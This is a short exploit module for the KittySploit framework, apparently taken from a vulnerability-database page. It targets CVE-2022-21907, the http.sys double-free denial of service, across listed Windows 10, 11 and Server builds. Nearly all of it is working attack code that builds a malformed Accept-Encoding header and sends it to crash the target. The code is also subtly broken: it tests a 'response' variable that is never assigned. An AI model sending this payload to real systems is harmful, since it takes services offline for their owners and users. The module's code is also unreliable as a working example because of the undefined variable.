Windows http.sys Driver DoS
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Auxiliary, Http_client):
__info__ = {
"name": "Windows http.sys Driver DoS",
"description": "Windows http.sys double free causing DoS.",
"author": "KittySploit Team",
"cve": "2022-21907",
"targets" : ["Windows 10 Version 1809 for 32-bit Systems",
"Windows 10 Version 1809 for x64-based Systems",
"Windows 10 Version 1809 for ARM64-based Systems",
"Windows 10 Version 21H1 for 32-bit Systems",
"Windows 10 Version 21H1 for x64-based System",
"Windows 10 Version 21H1 for ARM64-based Systems",
"Windows 10 Version 20H2 for 32-bit Systems",
"Windows 10 Version 20H2 for x64-based Systems",
"Windows 10 Version 20H2 for ARM64-based Systems",
"Windows 10 Version 21H2 for 32-bit Systems",
"Windows 10 Version 21H2 for x64-based Systems",
"Windows 10 Version 21H2 for ARM64-based Systems",
"Windows 11 for x64-based Systems",
"Windows 11 for ARM64-based Systems",
"Windows Server 2019 and Core Installation",
"Windows Server 2022 and Server Core Installation",
"Windows Server 20H2 Server Core Installation"]
}
def run(self):
print_status("Crafting malicious payload...")
payload = 'A' * 24 + ','
payload += 'A' * 60 + '&'
payload += 'A' * 2 + '&' + '*' * 2
payload += 'A' * 20 + '*' * 2
payload += 'A' + ','
payload += 'A' * 73 + ','
payload += 'A' * 71 + ','
payload += 'A' * 27 + ',' + '*' * 28
payload += 'A' * 6 + ',' + ' ' + '*' + ',' + ' ' + ','
headers = {
"Accept-Encoding": payload
}
self.http_request(
method="GET",
headers=headers
)
if response.status_code == 200:
print_success("Payload sent successfully")
Vulnerable.SUCCESS()
else:
print_error("Payload sent failed")
fail.NotVulnerable()
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01 Dec 2025 12:51Current
6Medium risk
Vulners AI Score6